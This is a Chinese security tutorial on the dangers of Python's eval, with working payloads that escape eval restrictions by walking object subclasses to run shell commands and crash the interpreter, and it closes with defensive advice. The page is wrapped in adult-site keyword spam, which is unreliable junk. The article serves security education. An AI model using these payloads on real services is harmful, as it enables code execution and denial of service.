精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Python中eval帶來的潛在風(fēng)險(xiǎn)

開發(fā) 后端
從內(nèi)容我們可以看出,單單將內(nèi)置模塊置為空,是不夠的,最好的機(jī)制是構(gòu)造白名單,如果覺得比較麻煩,可以使用ast.literal_eval代替不安全的eval。

0x00 前言


eval是Python用于執(zhí)行python表達(dá)式的一個(gè)內(nèi)置函數(shù),使用eval,可以很方便的將字符串動(dòng)態(tài)執(zhí)行。比如下列代碼:

1

2

3

4

>>> eval("1+2")

3

>>> eval("[x for x in range(10)]")

[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

當(dāng)內(nèi)存中的內(nèi)置模塊含有os的話,eval同樣可以做到命令執(zhí)行:

1

2

3

4

>>> import os

>>> eval("os.system('whoami')")

win-20140812chj\administrator

0

當(dāng)然,eval只能執(zhí)行Python的表達(dá)式類型的代碼,不能直接用它進(jìn)行import操作,但exec可以。如果非要使用eval進(jìn)行import,則使用__import__

1

2

3

4

5

6

7

8

9

10

11

>>> exec('import os')

>>> eval('import os')

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

  File "<string>", line 1

    import os

         ^

SyntaxError: invalid syntax

>>> eval("__import__('os').system('whoami')")

win-20140812chj\administrator

0

在實(shí)際的代碼中,往往有使用客戶端數(shù)據(jù)帶入eval中執(zhí)行的需求。比如動(dòng)態(tài)模塊的引入,舉個(gè)栗子,一個(gè)在線爬蟲平臺(tái)上爬蟲可能有多個(gè)并且位于不同的 模塊中,服務(wù)器端但往往只需要調(diào)用用戶在客戶端選擇的爬蟲類型,并通過后端的exec或者eval進(jìn)行動(dòng)態(tài)調(diào)用,后端編碼實(shí)現(xiàn)非常方便。但如果對(duì)用戶的請(qǐng) 求處理不恰當(dāng),就會(huì)造成嚴(yán)重的安全漏洞。

0x01 “安全”使用eval


現(xiàn)在提倡最多的就是使用eval的后兩個(gè)參數(shù)來設(shè)置函數(shù)的白名單:

Eval函數(shù)的聲明為eval(expression[, globals[, locals]])

其中,第二三個(gè)參數(shù)分別指定能夠在eval中使用的函數(shù)等,如果不指定,默認(rèn)為globals()和locals()函數(shù)中 包含的模塊和函數(shù)。

1

2

3

4

5

6

7

8

9

10

11

>>> import os

>>> 'os' in globals()

True

>>> eval('os.system(\'whoami\')')

win-20140812chj\administrator

0

>>> eval('os.system(\'whoami\')',{},{})

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

  File "<string>", line 1, in <module>

NameError: name 'os' is not defined

如果指定只允許調(diào)用abs函數(shù),可以使用下面的寫法:

1

2

3

4

5

6

7

8

9

10

>>> eval('abs(-20)',{'abs':abs},{'abs':abs})

20

>>> eval('os.system(\'whoami\')',{'abs':abs},{'abs':abs})

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

  File "<string>", line 1, in <module>

NameError: name 'os' is not defined

>>> eval('os.system(\'whoami\')')

win-20140812chj\administrator

0

使用這種方法來防護(hù),確實(shí)可以起到一定的作用,但是,這種處理方法可能會(huì)被繞過,從而造成其他問題!

0x02 繞過執(zhí)行代碼1


被繞過的情景如下,小明知道了eval會(huì)帶來一定的安全風(fēng)險(xiǎn),所以使用如下的手段去防止eval執(zhí)行任意代碼:

1

2

3

4

5

6

7

8

env = {}

env["locals"]   = None

env["globals"= None

env["__name__"] = None

env["__file__"] = None

env["__builtins__"] = None

 

eval(users_str, env)

Python中的__builtins__是內(nèi)置模塊,用來設(shè)置內(nèi)置函數(shù)的模塊。比如熟悉的abs,open等內(nèi)置函數(shù),都是在該模塊中以字典的方式存儲(chǔ)的,下面兩種寫法是等價(jià)的:

1

2

3

4

>>> __builtins__.abs(-20)

20

>>> abs(-20)

20

我們也可以自定義內(nèi)置函數(shù),并像使用Python中的內(nèi)置函數(shù)一樣使用它們:

1

2

3

4

5

>>> def hello():

...     print 'shabi'

>>> __builtin__.__dict__['say_hello'] = hello

>>> say_hello()

shabi

小明將eval函數(shù)的作用域中的內(nèi)置模塊設(shè)置為None,好像看起來很徹底了,但依然可以被繞過。__builtins____builtin__的一個(gè)引用,在__main__模塊下,兩者是等價(jià)的:

1

2

3

4

>>> id(__builtins__)

3549136

>>> id(__builtin__)

3549136

根據(jù)烏云drops提到的方法,使用如下代碼即可:

1

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

上面的代碼首先利用__class____subclasses__動(dòng)態(tài)加載了object對(duì) 象,這是因?yàn)閑val中無法直接使用object。然后使用object的子類的zipimporter對(duì)egg壓縮文件中的configobj模塊進(jìn)行 導(dǎo)入,并調(diào)用其內(nèi)置模塊中的os模塊從而實(shí)現(xiàn)命令執(zhí)行,當(dāng)然,前提是要有configobj的egg文件。 configobj模塊很有意思,居然內(nèi)置了os模塊:

1

2

3

4

5

6

7

8

9

10

11

>>> "os" in configobj.__dict__

True

>>> import urllib

>>> "os" in urllib.__dict__

True

>>> import urllib2

>>> "os" in urllib2.__dict__

True

>>> configobj.os.system("whoami")

win-20140812chj\administrator

0

和configobj類似的模塊如urlliburllib2setuptools等都有os的內(nèi)置,理論上使用哪個(gè)都行。 如果無法下載egg壓縮文件,可以下載帶有setup.py的文件夾,加入:

1

from setuptools import setup, find_packages 

然后執(zhí)行:

1

python setup.py bdist_egg

就可以在dist文件夾中找到對(duì)應(yīng)的egg文件。 繞過demo如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

>>> env = {}

>>> env["locals"]   = None

>>> env["globals"= None

>>> env["__name__"] = None

>>> env["__file__"] = None

>>> env["__builtins__"] = None

>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"

>>> eval(users_str, env)

win-20140812chj\administrator

0

>>> eval(users_str, {}, {})

win-20140812chj\administrator

0

0x03 拒絕服務(wù)攻擊1


object的子類中有很多有趣的東西,執(zhí)行以下代碼查看:

1

[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

這里我就不輸出結(jié)果了,如果你執(zhí)行的話,可以看到很多有趣的模塊,比如file,zipimporter,Quitter等。經(jīng)過測(cè)試,file的構(gòu)造函數(shù)是被解釋器沙箱隔離的。 簡(jiǎn)單的,或者直接使object暴露出的子類Quitter進(jìn)行退出:

1

2

3

4

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__

 == 'Quitter'][0](0)()", {'__builtins__':None})

 

C:/>

如果運(yùn)氣好,遇到對(duì)方程序中導(dǎo)入了os等敏感模塊,那么Popen就可以用,并且繞過__builins__為空的限制,栗子如下:

1

2

3

4

5

6

7

8

9

10

11

>>> import subprocess

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})

<subprocess.Popen object at 0x0324FF70>

>>>

正在 Ping 127.0.0.1 具有 32 字節(jié)的數(shù)據(jù):

來自 127.0.0.1 的回復(fù): 字節(jié)=32 時(shí)間<1ms TTL=64

127.0.0.1 的 Ping 統(tǒng)計(jì)信息:

    數(shù)據(jù)包: 已發(fā)送 = 1,已接收 = 1,丟失 = 0 (0% 丟失),

往返行程的估計(jì)時(shí)間(以毫秒為單位):

    最短 = 0ms,最長(zhǎng) = 0ms,平均 = 0ms

>>>

事實(shí)上,這種情況非常多,比如導(dǎo)入os模塊,一般用來處理路徑問題。所以說,遇到這種情況,完全可以列舉大量的功能函數(shù),來探測(cè)目標(biāo)object的子類中是否含有一些危險(xiǎn)的函數(shù)可以直接使用。

0x04 拒絕服務(wù)攻擊2


同樣,我們甚至可以繞過__builtins__為None,造成一次拒絕服務(wù)攻擊,Payload(來自老外blog)如下:

1

>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})

運(yùn)行上面的代碼,Python直接crash掉了,造成拒絕服務(wù)攻擊。 原理是通過嵌套的lambda來構(gòu)造一片代碼段,即code對(duì)象。為這個(gè)code對(duì)象分配空的棧,并給出相應(yīng)的代碼字符串,這里是KABOOM,在空棧上執(zhí)行代碼,會(huì)出現(xiàn)crash。構(gòu)造完成后,調(diào)用fc函數(shù)即可觸發(fā),其思路不可謂不淫蕩。

0x05 總結(jié)


從上面的內(nèi)容我們可以看出,單單將內(nèi)置模塊置為空,是不夠的,最好的機(jī)制是構(gòu)造白名單,如果覺得比較麻煩,可以使用ast.literal_eval代替不安全的eval

參考資料:

【1】http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html

【2】http://drops.wooyun.org/web/7490

【3】http://stackoverflow.com/questions/3513292/python-make-eval-safe

責(zé)任編輯:王雪燕 來源: 隱形人真忙
相關(guān)推薦

2015-09-17 09:30:50

云架構(gòu)可伸縮性風(fēng)險(xiǎn)

2019-12-20 13:51:30

加密劫持網(wǎng)絡(luò)攻擊漏洞

2023-06-09 07:11:56

2020-03-02 08:25:38

免費(fèi)開源軟件FOSS軟件安全

2024-04-25 08:22:43

AndroidlargeHeap屬性

2022-02-18 16:23:45

元宇宙元宇宙治理問題

2018-03-08 09:57:15

2014-08-20 10:07:02

2025-05-20 06:42:37

2021-12-31 16:10:46

穩(wěn)定幣數(shù)字貨幣貨幣

2015-02-28 15:22:15

2023-03-28 10:13:04

2021-03-22 16:55:14

Java程序員內(nèi)存

2013-07-16 09:15:29

2022-08-01 16:43:07

機(jī)器身份網(wǎng)絡(luò)安全自動(dòng)化

2015-01-15 09:38:30

2010-10-26 09:35:09

2017-11-06 11:15:51

智能機(jī)器人工智能機(jī)器學(xué)習(xí)

2024-05-08 08:00:00

2021-03-17 10:09:26

IT高管數(shù)字化轉(zhuǎn)型數(shù)字化
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

亚洲日本在线天堂| 精品一区二区三区日韩| 亚洲精品日韩丝袜精品| 一本色道无码道dvd在线观看| 韩国中文免费在线视频| 国产综合久久久久影院| 亚洲91精品在线| 白白色免费视频| 99久热在线精品视频观看| 亚洲国产成人高清精品| 日本一区二区在线视频| 国产人妖一区二区| 久久这里只有| 久久久在线免费观看| 夜夜春很很躁夜夜躁| 中文一区二区三区四区| 欧美日韩精品欧美日韩精品一综合| www国产无套内射com| 黄色av网址在线免费观看| 国产成人免费视频网站高清观看视频| 日韩美女视频免费在线观看| 欧美日韩精品一区二区三区视频播放 | 日韩美女视频在线观看| 久久久国产精品黄毛片| 日韩欧美网站| 亚洲欧美三级伦理| 国产女人18毛片水真多18| 欧美日韩伦理一区二区| 色综合一个色综合亚洲| 精品人妻大屁股白浆无码| 91高清在线| 久久一区二区三区四区| 成人自拍网站| 精品国产伦一区二区三| 日韩成人免费电影| 日本久久精品视频| 奇米影视第四色777| 中文字幕av亚洲精品一部二部| 国产一区二区动漫| 丰腴饱满的极品熟妇| 国内毛片久久| 精品噜噜噜噜久久久久久久久试看| 午夜精品在线免费观看| 性欧美超级视频| 日韩欧美黄色动漫| 国产97在线 | 亚洲| 白浆在线视频| 精品久久久免费| 亚洲人成无码网站久久99热国产| 中文字幕中文字幕在线十八区| 国产精品超碰97尤物18| 日本一区二区三不卡| 男人的天堂在线免费视频| 337p粉嫩大胆噜噜噜噜噜91av | 亚洲系列另类av| 日韩精品免费在线视频| av网站免费在线播放| 羞羞答答一区二区| 亚洲毛片在线观看| 性欧美丰满熟妇xxxx性仙踪林| 日本一道高清一区二区三区| 日韩av综合中文字幕| 国产精品久久久久久久无码| 国产美女撒尿一区二区| 亚洲国产精品成人精品| 国产精品嫩草av| 精品一区在线| 亚洲日韩中文字幕| 欧美xxxx精品| 亚洲女同中文字幕| 欧美激情在线狂野欧美精品| 欧美亚洲天堂网| 亚洲一区自拍| 国产精品情侣自拍| 国产男男gay网站| 国v精品久久久网| 久久亚洲综合网| 国产高清av在线| 亚洲视频网在线直播| 美女av免费观看| 制服丝袜专区在线| 欧美中文字幕不卡| 中文字幕剧情在线观看| 国产一区在线电影| 一区二区三区无码高清视频| 日本精品在线免费观看| 99香蕉国产精品偷在线观看| 日韩免费在线免费观看| 97超碰人人模人人人爽人人爱| 国产精品一区二区在线播放| 久久精品国产理论片免费| 国产日产精品久久久久久婷婷| 亚洲色欲色欲www在线观看| 国产精品久久中文字幕| gogo亚洲高清大胆美女人体 | 国产99久久精品一区二区永久免费| 亚洲精品国产无码| 国产精品亚洲成人| 日本一区免费看| 91亚洲天堂| 一本色道**综合亚洲精品蜜桃冫| 日本高清久久久| 国产精品调教视频| 久久亚洲精品国产亚洲老地址| 国产在线一二区| 免费国产亚洲视频| 精品免费日产一区一区三区免费| 在线观看国产原创自拍视频| 亚洲成a人片在线观看中文| mm131国产精品| 日韩精品福利一区二区三区| 久久影院在线观看| 中文字幕在线播| 岛国av在线一区| 一本色道婷婷久久欧美| 在线天堂资源www在线污| 欧美一区二视频| 人妻精品久久久久中文| 久久久久久美女精品| 97香蕉久久超级碰碰高清版 | 免费成人在线观看| 蜜桃精品久久久久久久免费影院 | 日韩美女一区二区三区在线观看| 97国产在线观看| 国产欧美一区二区三区视频在线观看| 国产天堂亚洲国产碰碰| 精品少妇人妻av免费久久洗澡| 95精品视频| 视频在线观看一区二区| 国产污视频网站| 91年精品国产| 国产免费黄色小视频| 成人性生交大片免费看中文视频| 久久综合网hezyo| 在线播放国产一区| 久久精品一区二区三区四区| 99视频在线免费播放| 成功精品影院| 久久免费高清视频| 亚洲乱码国产乱码精品精软件| 国产精品久久久久久久久搜平片| av日韩一区二区三区| 美女精品久久| 九九热这里只有精品免费看| 国产美女精品视频国产| **欧美大码日韩| 中文字幕色网站| 亚洲国产不卡| 91亚洲永久免费精品| 香蕉视频网站在线观看| 欧美日韩免费在线视频| 青青草华人在线视频| 日韩国产欧美在线视频| 日韩资源av在线| jvid一区二区三区| 日韩视频免费观看| www.av导航| 亚洲国产一区二区在线播放| 国产又粗又长又爽| 美女国产精品| 中文字幕久久综合| 亚洲精品aⅴ| 国内精品伊人久久| 欧美午夜黄色| 欧美性感一区二区三区| 精品少妇一区二区三区密爱| 国产美女av一区二区三区| 黄色成人在线免费观看| 精品福利网址导航| 国产成人久久久精品一区| av免费在线一区二区三区| 7777精品伊人久久久大香线蕉的 | 影音先锋男人在线资源| 欧美不卡一区二区三区| 久久露脸国语精品国产91| 久久网站最新地址| 午夜剧场高清版免费观看| 欧美成人日本| 久久草视频在线看| 国产精品传媒麻豆hd| 萌白酱国产一区二区| 午夜小视频免费| 欧美剧在线免费观看网站| 国产精品久久久视频| 男人的j进女人的j一区| 欧美黑人在线观看| 国产日产精品_国产精品毛片| 91麻豆国产语对白在线观看| av在线播放资源| 中文字幕少妇一区二区三区| 亚洲不卡免费视频| 亚洲午夜免费视频| 久久久精品成人| 国产91精品一区二区| www.色就是色| 欧美先锋影音| 亚洲永久激情精品| 欧美人与动xxxxz0oz| 国产欧美中文字幕| 中文不卡1区2区3区| 欧美精品情趣视频| 成人好色电影| 亚洲国产精品高清久久久| 在线观看不卡的av| 精品免费在线观看| 丝袜 亚洲 另类 欧美 重口| 久久久久久久综合色一本| 少妇献身老头系列| 久色婷婷小香蕉久久| 久色视频在线播放| 欧美69wwwcom| 亚洲欧洲中文| 亚洲v天堂v手机在线| 99re6在线| www一区二区三区| 国产精品入口尤物| 美女福利一区二区| 久久男人av资源网站| 国产激情在线视频| 中文字幕亚洲综合久久筱田步美| 香蕉视频免费看| 精品久久国产字幕高潮| 国产欧美日韩成人| 欧美日韩高清不卡| 天堂免费在线视频| 欧美日韩中文在线观看| 久久精品国产亚洲av无码娇色| 国产精品高潮呻吟| 少妇无套高潮一二三区| 2021国产精品久久精品| 亚洲av成人无码一二三在线观看| 国产99久久久久久免费看农村| 日本黄色的视频| 精品中文字幕一区二区| 国产精品拍拍拍| 久久综合网络一区二区| 国产免费成人在线| 另类亚洲自拍| 日韩a在线播放| 国产日产高清欧美一区二区三区| 免费高清一区二区三区| 亚洲午夜一区| av免费观看国产| 最新日韩欧美| 国产精品333| av地址在线观看| 欧美bbbxxxxx| 色综合五月天导航| 午夜小视频在线观看| 欧美xxxx18性欧美| 午夜成年人在线免费视频| 欧美成年人视频| 色婷婷av在线| 国模视频一区二区| 中文不卡1区2区3区| 国产91色在线播放| 国产成人免费精品| 成人妇女免费播放久久久| 麻豆精品一区| 国产乱码精品一区二区三区不卡| 国产精品久久久久av蜜臀| 国产午夜精品一区| 久久91精品| 一本色道久久综合亚洲二区三区 | 亚洲伦理久久| 亚洲自拍av在线| 精品一区二区男人吃奶| 久久综合久久久| 欧美一二区在线观看| 亚洲一区二区三区精品动漫| 香蕉精品视频在线观看| 激情五月六月婷婷| 亚洲一区二区动漫| 国产嫩草在线观看| 国产一区二区视频在线| 久久久久久婷婷| 久久久久久久久久久久久久久99| 亚洲精品成人av久久| 一区二区在线免费观看| 国产精品xxxx喷水欧美| 欧美中文一区二区三区| www.久久伊人| 亚洲欧洲午夜一线一品| 老司机免费在线视频| 国模吧一区二区三区| 国产电影一区二区三区爱妃记| 91九色在线观看| 蜜桃一区二区| 五月天在线免费视频| 国产日韩亚洲| 亚洲一区二区福利视频| eeuss影院一区二区三区| 日韩av片在线| 亚洲成人免费影院| 亚洲一级片免费看| 日韩大陆欧美高清视频区| 国产精品ⅴa有声小说| 久久97精品久久久久久久不卡| 成人免费影院| 91情侣在线视频| 青青草国产成人a∨下载安卓| 男人天堂a在线| 日本不卡一区二区三区高清视频| 日本中文字幕精品| 中文字幕欧美日本乱码一线二线| 国产亚洲精品成人| 欧美日韩高清一区二区| 可以在线观看的av| 欧美激情视频网站| 天堂综合在线播放| 鲁鲁狠狠狠7777一区二区| 欧美国产先锋| 国产3p在线播放| 久久精品亚洲国产奇米99| 日本中文字幕网| 日韩视频国产视频| 欧美激情二区| 国产精品青青在线观看爽香蕉 | 丁香婷婷综合色啪| 97在线观看免费高| 欧美视频你懂的| 久草在线网址| 97香蕉久久夜色精品国产| 蜜桃精品视频| 香蕉视频在线网址| 免费高清视频精品| 在线免费观看视频| 日韩欧美在线视频免费观看| 日日躁夜夜躁白天躁晚上躁91| 欧美情侣性视频| 国产精品xnxxcom| 中文字幕一区二区三区在线乱码 | 91国内在线| 国产在线a不卡| 三级电影一区| 污污动漫在线观看| 国产精品系列在线| 国产天堂第一区| 伊人亚洲福利一区二区三区| 欧美电影免费观看高清完整| 免费国产一区二区| 国产欧美一级| 日本少妇毛茸茸| 精品欧美一区二区三区| 亚洲欧洲成人在线| 欧美中文字幕在线| 在线日韩网站| 欧美伦理片在线看| 国产女人水真多18毛片18精品视频| 久久久久久久久久久影院| 亚洲欧美激情视频| 香蕉久久免费电影| 亚洲欧美日韩国产yyy| 久久精品久久综合| 欧美在线视频第一页| 欧美成人一区二区三区片免费| 超碰在线观看免费版| y111111国产精品久久婷婷| 亚洲精品资源| 波多野结衣办公室33分钟| 欧美性欧美巨大黑白大战| 亚洲搞黄视频| 国产精华一区二区三区| 亚洲美女一区| 熟女少妇内射日韩亚洲| 欧美日韩视频不卡| av官网在线播放| 国产视频一区二区不卡| 老司机精品福利视频| 国产又黄又粗又猛又爽的| 日韩欧美在线影院| 免费h在线看| 亚洲欧洲一区二区福利| 国产高清在线精品| 青青草手机在线观看| 日韩成人在线观看| 欧美videos粗暴| 免费高清一区二区三区| 国产色爱av资源综合区| 国产区精品在线| 欧美一级片在线播放| 91偷拍一区二区三区精品| 91精品国产高清91久久久久久| 欧美日韩国产精品一区| 免费在线看黄色| 久久精品二区| 国产呦精品一区二区三区网站| 日本学生初尝黑人巨免费视频| 亚洲人成亚洲人成在线观看| 国产精品一区免费在线| 国产日产欧美视频| 亚洲免费在线看| 免费在线超碰| 波多野结衣久草一区| 日本午夜精品一区二区三区电影 | 日本不卡视频| 久久久水蜜桃| 国产一区二区三区四区五区入口| 国产又黄又爽又色| 久久99精品久久久久久噜噜|